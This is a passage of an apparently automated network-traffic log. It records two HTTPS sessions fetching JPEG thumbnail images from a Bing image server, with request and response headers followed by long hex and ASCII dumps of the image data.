70 6a ab 33 4c ab 6f 71 b3 6a ba ed f9 b3 fd f6 c7 6f c7 ad 71 7a 6c ab 06 c9 17 cf f2 d7 ee 6f 4d ad f7 ab 83 03 92 d5 c7 61 ea fd 71 bb 37 a2 d3 a5 b4 ba 5b 6d e6 74 Data Ascii: <lt:xHn&vm]jT&_{_@}<Ey><7W;rmU\|J?3m{Ox4HfqnW{)a(y+x~/QeH^LnU=4hXvmp:UO\pj3LoqjoqzloMaq7[mt
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: ed 8e cd 16 d7 50 0e 03 71 d7 fd 95 fb d5 4f 54 d1 e5 d6 74 df 27 fe 5f ac ed fc bb 1d 8e cb e7 7c d9 c3 67 bf ff 00 58 55 cd 06 e2 29 64 86 ce de 78 da d5 bc b6 b8 7d f2 6e ff 00 69 77 e3 ee fd 45 6d d8 cf fd 9d ac b3 32 6e 5b 74 58 b6 7c cd ff 00 d9 32 86 e9 dc 76 35 f3 d5 31 32 c1 5b d8 c6 d3 8e b7 d6 ef 5e a9 fd cd 76 67 6d 0a 5c ea ed 1e 67 0e ae da 76 8f 71 63 0c 9f 67 b8 96 68 f7 fc ed e6 a3 0e 72 2b ab f0 6e b9 05 e5 8a 69 b2 4f 3c b3 2d a4 8a f3 6f 66 d9 bd bf 8f fb b8 db ef 5d a7 8d f4 3d 33 c5 d1 b6 d8 e0 fb 47 cb b2 e6 54 db 3f 2b d3 76 3e 6f f8 15 78 fd e6 9d ab f8 57 52 9a 16 8e 48 a6 fd e6 cb 8d 9b 5a 65 fe 47 e9 5e ce 13 19 80 cf f0 f2 a6 e3 ec eb df 9a cd f5 b5 ae 9d b5 5e 46 75 29 ce 9c 93 b5 e3 dc ed ee 2e ed 75 4b a4 be 9a 08 ef 6d ed Data Ascii: PqOTt'_\|gXU)dx}niwEm2n[tX\|2v512[^vgm\gvqcghr+niO<-of]=3GT?+v>oxWRHZeG^^Fu).uKm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49815	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:41 UTC	346	OUT	GET /th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:41 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 685668 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9636F3DC02324E538F9C88CE1BDCE4F2 Ref B: EWR30EDGE0820 Ref C: 2024-12-08T16:45:41Z Date: Sun, 08 Dec 2024 16:45:41 GMT Connection: close
2024-12-08 16:45:41 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a 1c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 33 38 3a 34 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:38:418
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: fe 85 5a 45 a7 2b 5c 21 45 ca c4 b7 7a ac 16 ff 00 7f f7 93 c7 ff 00 2c e2 a4 d2 b5 08 35 08 76 7e e6 39 e3 ff 00 97 69 7e 7f 92 b1 e7 82 37 9a 44 f3 bf d5 ff 00 ac ff 00 80 ff 00 76 a4 b1 59 13 4f fb 6a 43 34 72 47 27 ee e4 fe 3f f6 ab 5a b8 4a 2e 1a 3f 78 ef a4 bd 9c 92 be e6 bc 97 91 db ea 1e 45 d7 93 6f 1f fc b3 92 5f f9 69 56 bf 76 f0 fc f0 f9 9e 67 ef 3c ca a5 03 c7 71 36 fb df f5 7e 5f ef 3f b9 59 71 df 5a 45 34 89 a7 4d fe 8b ff 00 3c ff 00 db af 3a 54 69 df dd 7a a3 d0 f6 f1 a5 69 b7 ee fe 27 51 05 9a 24 df b8 ff 00 96 94 5a e9 f3 c5 37 cf 0f ee fc ba e5 75 5d 7a ed 7c b4 48 66 b7 8e 4f f5 72 7f cf 3f f7 ab 26 fa f3 ed 13 49 7b 6b ac 4d 71 e5 ff 00 ac 8f cd ff 00 eb d6 1c d2 5a 2d 2e 6b fd a5 49 bf 71 5f e6 7a 34 1a 7f fa 24 88 9e 4c 7e 5f ef 24 Data Ascii: ZE+\!Ez,5v~9i~7DvYOjC4rG'?ZJ.?xEo_iVvg<q6~_?YqZE4M<:Tizi'Q$Z7u]z\|HfOr?&I{kMqZ-.kIq_z4$L~_$
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 1a 85 b2 69 de 75 ec 71 fe f3 fb 8f f2 d1 56 bc 47 77 f6 79 a3 d4 74 bf 26 49 e3 df e5 c9 17 fb 9b b6 b5 15 c1 4f eb 15 e0 a5 4e 31 4b cf 72 ad e7 f8 1c 07 87 2f be c9 35 cc f3 f9 5e 44 92 79 91 fe f7 e7 8f 77 fb 35 af ae 6a b6 96 50 c6 f7 53 4d 24 92 7f cf 2a 77 88 fe 18 4e ff 00 e9 5a 45 e5 a4 9f f4 ce e7 e4 ff 00 c7 ab 9c f1 8f 87 b5 d8 b5 68 e0 fb 1f 99 75 24 7e 5f fa 37 dc af d1 e1 fd 9f 8b ac a5 ed 2d dd 6d d8 f0 6b 52 c6 e1 69 b8 f2 76 b3 3a 3b 5f 16 68 57 70 ec bd fd dc 91 ff 00 cb 39 65 f3 92 b7 b4 36 8e e2 ee 44 b5 d4 bc c8 fc bf dd ff 00 7e 3f f6 6b c8 e3 d3 35 a8 ae e4 d3 9f 4d bb f3 23 ff 00 59 6d 5e 9b a6 b5 da 5a 5b 24 fa 6f ef ed ff 00 d5 fe eb fd 62 57 9b 9c 65 f8 7c 34 57 d5 a5 7e 6f 35 a1 d1 80 c4 54 ac 9a a8 ac d1 af 27 97 69 a8 46 89 Data Ascii: iuqVGwyt&ION1Kr/5^Dyw5jPSM$*wNZEhu$~_7-mkRiv:;_hWp9e6D~?k5M#Ym^Z[$obWe\|4W~o5T'iF
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: fe af f7 bb d2 4f ee b4 6d 5c fe a5 ad 47 e2 0f b4 dd 5a c3 36 9d 75 7b 73 e5 c9 e6 fc f0 f9 bf ef 75 4a d8 f1 c6 af 61 ff 00 12 db a9 f4 d8 75 18 ee 3f 77 f6 29 62 f2 5f e5 ff 00 66 b9 7f 0c c5 e1 ad 33 c6 f7 da 5e a3 a3 dd c7 75 24 9f e8 d6 57 32 ba 7d 9f 77 f1 6e 4a d3 03 18 ba 53 c6 ba 6d 4e d7 b2 b7 d9 76 7a 5f f1 6a de 65 54 51 bc 61 7d 2e 6f f8 9b cb d1 f4 f8 f4 b7 bc bb bd d5 6e 2c 9f cc f3 7f d4 fc bf ec 55 7f 85 7f 67 96 d7 cf 9f ec 9f 6a ff 00 96 71 cb fe a6 3d bf dd a3 e2 a5 8e 93 a8 68 7f d9 69 a9 5d ff 00 6c 69 d2 7d a2 da 3b 9f 9f e4 ff 00 62 4d b5 57 e1 e7 86 6e de d6 c5 27 87 49 b8 ff 00 9f d8 fe d6 8f 34 9f ef ab fc 94 df d5 e7 92 ca 75 64 e3 26 f5 ba b6 dd bc 9f 43 47 c8 ab af 23 67 5c f1 b7 da 35 09 34 7b a9 a1 d2 af b4 eb 94 93 cb b9 Data Ascii: Om\GZ6u{suJau?w)b_f3^u$W2}wnJSmNvz_jeTQa}.on,Ugjq=hi]li};bMWn'I4ud&CG#g\54{
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 4d 6a aa b2 95 4e 6b 68 50 f8 43 7d a6 e9 36 92 5d 59 4d 34 93 de c8 ff 00 6d 8e 5f bf 1b ff 00 0f cd ed 54 2f bc 4d 7f 69 35 cc fa 3d 9f 99 fe 92 f2 49 fb dd 9f f0 2a e7 fc 01 e1 ab bd 43 cb ba b5 d7 a1 b7 93 cb fd e4 72 c4 fb 37 ff 00 73 ad 77 57 11 6a de 1f f8 7b 73 a7 5d 59 fe e3 e7 8e db f8 fc cd cf f3 ee ff 00 66 bb 73 1a 18 2a 19 83 52 6a a5 49 b4 9a 77 db f5 b6 c2 8d 7a b3 a2 9a d1 25 d3 a9 5e 4f 18 cf aa da 7d b6 7f 3a de 4b 7b 6f 32 49 3f 8e 3d bf c6 db 6b 4b c1 6d a9 5d 6a d1 ea f0 69 b6 92 69 b2 6f 93 ed ba 94 5f f1 f0 db 3f e5 96 ee 6b 37 f6 75 d3 e3 b7 b4 be 92 49 7e cf 25 ed cb c7 24 77 3f 3a 48 ab f7 57 67 f7 6b 53 e2 06 a1 ae e8 9e 19 fe ce fe cd bb d4 67 92 e7 cb 8f ca 87 ce 48 ff 00 ad 78 78 c8 d1 58 f9 e5 b8 58 a4 af 6d 5d ac 9e f6 5d Data Ascii: MjNkhPC}6]YM4m_T/Mi5=ICr7swWj{s]YfsRjIwz%^O}:K{o2I?=kKm]jiio_?k7uI~%$w?:HWgkSgHxxXXm]]
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: c3 1f d9 7c ef 2f fd 64 72 7f cf 4f f6 6b 6c b6 8c e7 88 f6 58 84 54 9d e3 74 c8 34 af 14 7d 9e 1f 9e 6f de 7f d7 54 4a 7d f5 e4 7a 87 88 6c 5e 08 7c cb af fa 76 97 fd 67 fb dd ab 87 b5 69 ee 35 6d 9f f3 d3 fd 5f fb f5 e9 3e 0b b6 fe c7 87 63 ff 00 af 92 4f f9 65 2f 9c 95 ee 66 34 28 61 13 a9 15 ef b5 b1 e6 61 ea 3c 4a e4 7d 19 bd e7 dd da 43 1a 4f 0c d2 49 ff 00 7d f9 74 fd 4b 4a 9e 5f 2e f7 ce 86 3f 2f fd 67 f7 24 4a 66 a5 79 3c be 5e c8 66 93 fe 7a 49 15 55 8e fb 7c de 43 c3 e6 7f d7 5f 91 ff 00 dd af 8e 84 2b 2b 4a 2a cf a9 eb 17 fe dd f6 4d 42 38 1f fd 45 c4 75 5e fa ce ed ed 24 d9 79 0f 97 27 fc f5 97 e7 aa b2 36 9b fe ae 08 66 f2 ff 00 e9 af fc b3 ff 00 be aa 8d f6 bd 1e 9f a8 47 65 3c df bb ff 00 57 fe b5 2b 4c 3e 1a a5 49 2f 63 1d 6d d7 c8 99 49 Data Ascii: \|/drOklXTt4}oTJ}zl^\|vgi5m_>cOe/f4(aa<J}COI}tKJ_.?/g$Jfy<^fzIU\|C_++J*MB8Eu^$y'6fGe<W+L>I/cmI
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 93 cd 44 78 f7 7f 12 2f f1 57 47 71 f0 b7 c2 da 0e b9 27 91 15 dd cc 77 16 de 64 71 dc cb f3 da 5c 27 f1 ee 5f bc 86 b9 ef 11 eb da 15 bf 8c a4 d6 ed 7e c9 1c 92 5b 25 bf ee a2 d9 0d 7d 95 1a d9 66 3a 8c a9 65 f4 b9 9b 57 e6 71 fc 2d f7 9c d5 b9 a0 d5 49 74 ec ce d7 c6 b2 c1 e2 5f 0f 49 e1 bd 3e 6f f8 99 59 47 e7 c7 fc 09 71 f3 d7 01 a3 b5 ff 00 86 b5 68 ed 75 ed 1e ee dd 2d e3 f3 24 8e 28 b7 bf fb 2d 50 6b 1e 2c 83 f7 77 af 0c 3f f7 f7 7f fe 3b 51 78 57 c5 57 7a 9f 8b 2d a0 d3 bf 79 ff 00 2d 3e cd e5 79 c9 f2 ff 00 75 6a b0 79 2e 2f 07 81 a9 45 c5 3a 5a b6 9d d5 9f 5d 53 fd 0e 6a 98 a5 3a aa 49 58 f4 bf 88 0d 77 e1 cf 0c d8 eb d6 b0 fd a2 0b 99 12 48 ef 62 f9 2e 7e 6f e0 f9 38 ae 5f c7 fa 2f 8a 2e ed 2d b5 44 f0 de a1 27 ee fc cb 98 e2 b4 ff 00 57 fe d3 Data Ascii: Dx/WGq'wdq\'_~[%}f:eWq-It_I>oYGqhu-$(-Pk,w?;QxWWz-y->yujy./E:Z]Sj:IXwHb.~o8_/.-D'W
2024-12-08 16:45:42 UTC	16067	IN	Data Raw: a3 bd d3 3b 25 55 ba ae 36 b9 d3 69 7a 75 df 85 f5 6b d4 92 1f b3 41 7b 1a 47 1f ef 77 a4 89 b3 fb d5 e4 f3 c1 ae f8 83 c4 da 96 89 a2 d9 ea 12 49 f3 c7 1d 97 9b fd df fc 77 6d 7a 5f 83 75 fb 4f 12 99 2c ae 7c ab cb 58 f7 c9 e5 de fc 9e 67 f0 fc cb 57 e4 b3 d3 34 1d 72 5b ad 1f fe 24 bf da 31 a4 92 79 71 3e c9 3f e0 55 d5 84 cd b1 19 7d 6a df 58 87 36 21 a5 6b ad 34 6b 56 b7 d8 52 a2 f1 0a 12 7f 0d cf 3d f0 24 b3 f8 6a 2b ed 3b 5e d3 66 8e 49 2c 92 48 ed ae 7f bf fe ef f1 2d 74 9e 15 b9 bb d1 cc 97 5a dd e4 36 53 de ff 00 c7 b5 b4 b2 f9 3f f8 f7 f0 56 bf 8d 60 b4 f1 3e 93 6d f6 ab c9 7c cd 36 e5 24 8e 49 37 a4 de 53 7f d3 5f ee d7 19 f1 0b cf d2 a6 97 cf 86 2b 6b 5f 31 3e cd 24 b2 bc c9 27 fb 35 dd 46 b5 2c de 6e 9d 48 a8 d4 9f c4 bd 36 e5 ed 7b dd 93 52 Data Ascii: ;%U6izukA{GwIwmz_uO,\|XgW4r[$1yq>?U}jX6!k4kVR=$j+;^fI,H-tZ6S?V`>m\|6$I7S_+k_1>$'5F,nH6{R
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: be 3f dd 6c 9a 39 5b f8 ab 8e 93 5a f1 67 89 74 fb 6f b7 4d f6 7b 1b 38 fc b8 e4 96 5d 90 fc bf 7b e6 fb d4 df f6 96 7d 80 96 1f 13 56 36 52 d5 b4 95 97 44 92 dc 6e 30 a3 55 4a dd 15 8f 4c f8 95 ae c9 6f a1 df 7d 8b 47 bb 8e 0b 98 fc 88 e5 b6 95 2d e2 8f fd fd df c5 58 df 03 e0 f1 4d c4 df da fa bc da 8d c5 8f 97 ff 00 1e df 23 c3 27 fd f3 5c 54 1e 21 d2 6e 2e ec 60 d6 e1 bb 8e c7 cc ff 00 59 f6 b7 74 93 fe 07 cd 7a b7 f6 d5 bd 95 9c 73 c1 0e a1 1e 9b e5 fe f3 cb 97 f7 32 7f df 5c d7 9d 99 e0 a5 96 60 16 0a 14 af 29 ef 27 e5 a5 a3 e6 fa fc 8d 63 59 d6 9d d6 85 7b 89 74 4d 33 c5 12 5d 5e c3 34 73 7f cb bd bd f6 9e 89 e4 23 7c db 19 76 e1 fd ab 92 f8 c7 a3 c7 e1 fb cb 6f 19 78 32 cf 4f b7 fb 67 ee ef 6c a3 d8 96 df 37 f1 2a e6 ba 3f 89 53 e9 be 2d d3 ec 74 Data Ascii: ?l9[ZgtoM{8]{}V6RDn0UJLo}G-XM#'\T!n.`Ytzs2\`)'cY{tM3]^4s#\|vox2Ogl7*?S-t
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: fe cd 24 51 79 d0 dd fc ff 00 c3 fe 0d 5c 3f 8f 27 4f 26 38 6e a6 f2 ef bf e5 9f 9b 17 c9 e5 7f bd 5e d7 0b c5 ac 54 9f 2d e9 4b 48 af 9d f7 eb 6e bd 8c 2b a6 e4 9b 5a bd cd cf 85 da 9f 83 21 bc b9 fb 55 9d a5 95 f7 96 fe 56 a5 27 f9 f9 1a b4 6f b5 eb ff 00 10 78 ca 38 34 7f 3a e6 ee 39 7f e5 a4 a9 e4 ff 00 f6 15 e4 16 37 32 45 a8 6c fd cf fd 34 f3 7e 44 ff 00 be bf 86 bd 27 e0 cb a4 3e 28 b9 ba 48 7e d1 27 c9 04 92 7d fb 7f 29 ff 00 87 fd ea f6 b3 ac a2 96 06 35 b1 b2 f7 df 2e 89 ea bf ce de 57 3a 30 b8 9b d3 74 dc 74 3d 6e de 5f 1c 5c 78 4f ec da a6 9b 14 77 d6 f2 79 91 c9 2f 92 fe 62 ff 00 77 6d 70 ff 00 15 75 0d 17 5a f0 6c 73 bc d1 49 7d a7 5c a4 77 3f e8 bb 1e 06 ff 00 75 b9 ae c2 df c4 76 8f 0d f6 91 1c b3 59 c7 a7 47 b3 cc f2 bf 75 1c bf f4 cb 77 Data Ascii: $Qy\?'O&8n^T-KHn+Z!UV'ox84:972El4~D'>(H~'})5.W:0tt=n_\xOwy/bwmpuZlsI}\w?uvYGuw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49812	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:41 UTC	346	OUT	GET /th?id=OADD2.10239395019080_17DEM3LK5H7QUOJTP&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:41 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 531158 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3224403FE5034B7EB3E8DA093AB88B95 Ref B: EWR30EDGE1611 Ref C: 2024-12-08T16:45:41Z Date: Sun, 08 Dec 2024 16:45:41 GMT Connection: close
2024-12-08 16:45:41 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1b 56 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 34 3a 33 30 20 31 37 3a 35 34 3a 30 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``VExifMM*bj(1r2i``Adobe Photoshop 25.4 (Windows)2024:04:30 17:54:008
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 80 1b 4e a3 6d 14 00 53 69 d4 50 03 68 a7 51 40 05 14 51 40 0d a7 51 c5 1c 50 2b 85 14 71 47 14 05 c2 8e 28 5a 38 a0 41 45 14 71 41 41 45 1c 51 c5 02 b8 51 c5 1c 51 c5 02 0e 28 e2 8e 28 e2 80 0a 28 e2 8e 28 1d c2 95 69 fc d1 cd 2d c5 72 36 a7 ec a5 e6 8e 68 60 47 c5 7a 57 c3 3f 06 3e a1 e1 4b 99 ee 6c fe 7b d9 3c bb 6f f7 6b 92 f0 2e 90 9a c7 88 62 b6 9f fd 44 7f bc 92 be a7 f0 5e 91 02 69 f6 c8 90 f9 71 c7 5e 06 79 99 3c 2c 14 23 be e7 d1 e4 19 5a c5 4d d4 a8 bd d4 64 78 03 c1 92 68 fa 4c 76 b0 43 0c 90 47 5e ab e1 f8 36 5a 46 8f 54 ec 5e 0b 7f 92 b5 a0 96 3a fc ef 19 8a a9 5e 4d cd ea cf d1 70 d8 78 51 82 8c 36 45 a8 17 65 58 81 6a 18 1b 7d 5a 4a f3 64 ee 76 44 7c 9f 25 45 1c 95 62 3f 9e 9d 1c 51 d4 94 4b 6f 53 d4 71 fc 95 22 54 c8 a2 4e 68 e6 8e 6a 37 Data Ascii: NmSiPhQ@Q@QP+qG(Z8AEqAAEQQQ((((i-r6h`GzW?>Kl{<ok.bD^iq^y<,#ZMdxhLvCG^6ZFT^:^MpxQ6EeXj}ZJdvD\|%Eb?QKoSq"TNhj7
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 83 6f f1 d5 ad 36 ce 4b 8b b8 d1 21 a7 da db 49 2c db 20 87 cc 92 4f f5 71 d7 b4 7c 3d f0 9c 76 fe 1e b6 fb 54 3f bf 93 f7 95 e7 e6 19 8c 30 90 e6 7b b3 d6 ca 72 79 e3 ab 5b a2 3c df fe 11 3b bf b5 c9 b2 1f dc 47 ff 00 2d 2a 5f 08 f8 56 4b bd 72 37 f2 7f 71 1c 9f eb 25 af 7b 83 48 8f ec 91 c0 f0 fe ee ab c7 a2 c7 14 df 27 fa bf f9 e7 5f 36 f8 82 72 8b 47 da 47 86 68 46 6a 56 d9 dc c3 d3 65 b4 8b fd 16 ca 1f 32 bb 0f 0e 58 c7 17 ef df fd 65 3b c3 fa 1d a5 94 d2 3a 43 fe b3 fe 5a 57 43 1d b2 57 ce 62 b1 51 93 b4 4f a7 c3 e1 dc 55 d8 fb 18 b6 56 8c 6b 55 51 76 55 ab 5f 9e bc b9 3b bb 9d d1 56 43 6e bc c4 87 7a 55 78 da 4a bb 23 46 95 0b d2 02 0f 3e 99 24 b4 4e db 21 a8 24 97 f7 35 51 57 13 76 19 76 d5 97 3e a5 1c 53 6c ab 17 cd fb 9a c6 ba 82 4f 27 f7 75 d3 Data Ascii: o6K!I, Oq\|=vT?0{ry[<;G-*_VKr7q%{H'_6rGGhFjVe2Xe;:CZWCWbQOUVkUQvU_;VCnzUxJ#F>$N!$5QWvv>SlO'u
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: b8 c9 61 6d cb 4e 36 90 da 6d 3a 8a ed 4e e7 98 36 8a 75 36 99 31 0a 29 d1 ae fa bf 3e 91 76 9f 3a 7e f2 3a 99 4e 31 f8 9d 8b 8d 19 cd 3e 55 7b 19 d4 ed b5 d4 68 7e 10 bb bd 86 39 d3 fd 5d 77 9f f0 88 58 5c 69 31 c1 e4 f9 72 57 9b 88 cd b0 f4 5a 5b 9e ae 17 23 c4 57 8b 6f 43 c6 68 af 48 d4 be 18 6a 52 dd fe e2 68 63 82 ae 78 67 e1 84 71 5d f9 f7 b3 7d a2 38 ff 00 e5 9d 29 67 38 38 c2 fc fa f6 0f ec 3c 64 aa 72 da cb b9 e5 75 3c 11 7e fa 3f 3f ce 8e 39 2b d7 fc 4d f0 ca 0b db c8 e7 d3 bc 9b 74 8f fd 64 7f f3 d2 ab cf e1 0d 4a f6 68 ec a7 86 1b 7b 5b 7f f9 69 59 7f 6d e1 e5 14 d3 b7 7b f4 37 5c 3f 88 8b 7c cf d3 cc f3 cf f8 45 ef e5 f3 27 b5 87 cc 83 fe 7a 55 0b ad 2b 52 b7 9b 64 f6 73 47 5e ed a1 e8 33 d9 7e e1 3f d4 54 f7 5e 1c 8e e3 fd 7c 3f bc ae 1f f5 Data Ascii: amN6m:N6u61)>v:~:N1>U{h~9]wX\i1rWZ[#WoChHjRhcxgq]}8)g88<dru<~??9+MtdJh{[iYm{7\?\|E'zU+RdsG^3~?T^\|?
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: cd e7 ea 9e 24 d5 ae 3f 77 ff 00 3f 6f 51 49 f0 77 52 bb 87 7c f0 cd 71 ff 00 5d 62 77 ac a5 99 c7 6d 3f 33 45 81 7a 3d 7f 23 e8 9d 77 e2 cf c3 3d 32 18 a4 bc f1 4c 3e 5c 91 f9 91 f9 71 3b 6f ae 42 fb f6 8a f8 6d 6f 2e cb 2b 3d 5b 50 ff 00 b6 5b 12 b8 8d 47 e1 34 91 5a 69 3f 6a 9a d2 de 3b 6b 2f 2f f7 b2 a4 3f fa 15 73 fa c5 b7 c2 ef 0e 43 ff 00 13 bf 1e 68 71 c9 ff 00 3c fc df 39 ff 00 f1 ca c9 e6 15 1e df 82 34 8e 05 76 fb d9 ad f1 0b 5e d1 be 3d 5d 69 ba 5d f7 85 ae f4 e8 34 9b 9f 32 da 59 65 ff 00 58 ed 5c 87 ed 79 ad fc 39 f8 59 aa 49 e1 3d 07 c1 5a 25 ce af a5 d9 43 20 b9 b9 f9 ff 00 7b 27 fc f4 af 4c fd 9d ac 6c af 7c 77 a9 6b 56 10 cb 26 8f a3 5b 89 e3 cf fc b4 97 67 cb 5f 3a 78 db e1 7f c4 ff 00 88 5e 2a d6 bc 63 e2 3f 07 ea db b5 cd 5b cf 8a c7 Data Ascii: $?w?oQIwR\|q]bwm?3Ez=#w=2L>\q;oBmo.+=[P[G4Zi?j;k//?sChq<94v^=]i]42YeX\y9YI=Z%C {'Ll\|wkV&[g_:x^*c?[
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: f5 bf fc 02 ba 56 29 46 9d e7 a3 f4 df d1 18 4e 9a e6 33 7c 69 e3 dd 0b 44 bb d1 1e 0d 7b 4f 92 0d 56 4f 2f fb fe 62 7f bd fc 35 d8 6d 8f ef a7 ef 23 93 fd 5c 95 f1 6f c6 68 a0 be f1 65 f7 f6 2f 86 f5 0f 0e d8 c9 27 99 fd 93 7d f2 3c 6e df 79 92 bd 43 e1 2f c5 df 1d a5 a5 b7 c3 3b 5f 07 da 6b 5e 2a b2 b6 f3 2c a4 f3 76 43 25 aa fc cc 8f fe dd 79 58 1c de a4 eb ce 15 d5 bb 5a fd 3f cf 42 aa 51 4a 37 8e c7 d0 1b 4d 15 91 a6 f8 97 4d ff 00 84 7a da f7 c4 b7 9a 7e 83 7d 24 7e 65 ce 9b 25 de ff 00 b3 ff 00 c0 a8 af 6a 58 aa 11 76 94 d2 7e a8 c3 92 47 43 b4 d1 b4 d3 a8 a5 73 7e 56 37 69 a3 69 a7 51 45 c3 95 8d da 68 da 69 d4 51 71 8d da 68 da 69 d4 51 71 59 0d da 68 a7 51 45 c5 ca 86 d3 24 5a 96 8a 2e 2e 54 b6 23 db 1d 26 ca 7d 1b 4d 52 76 0b 0d e6 93 65 3f 69 Data Ascii: V)FN3\|iD{OVO/b5m#\ohe/'}<nyC/;_k^*,vC%yXZ?BQJ7MMz~}$~e%jXv~GCs~V7iiQEhiQqhiQqYhQE$Z..T#&}MRve?i
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: f8 7f 57 b0 b2 86 4b dd 3b 47 86 de 09 3f 77 1d ef f1 c0 ff 00 df 55 fe f5 72 1e 27 82 d2 f7 5c d2 3e cb 65 34 91 c7 a8 f9 97 3a 94 bf f2 d1 ab cf c3 e2 a8 e2 ea 4e 0d 59 35 6d 64 96 a9 3b 6f f7 79 76 3a e1 52 9b 82 d9 bf 43 d1 b4 a8 f4 9d 13 e0 8e b7 a2 da eb 13 7f 6e 6b d2 7d 92 e6 4f f9 f0 b5 4f fe 29 b6 56 b6 9b fb 3b 78 eb c5 7e 09 d3 75 3d 46 2f 33 4e 8e 24 93 cc 8b fe 5e 13 fd da e7 f4 ab 4b bb bf 13 47 7a 9a 94 32 69 b6 f1 fe f2 3f f9 e9 fe f3 57 dc 5f 0d f1 37 c1 1d 15 e1 f2 a3 f3 2c bf 77 fb d4 fe 2a 30 b0 71 52 d3 96 51 4e 56 4d 3d 56 c9 fe 27 af 85 a5 49 c6 3a 5d 5d 2f 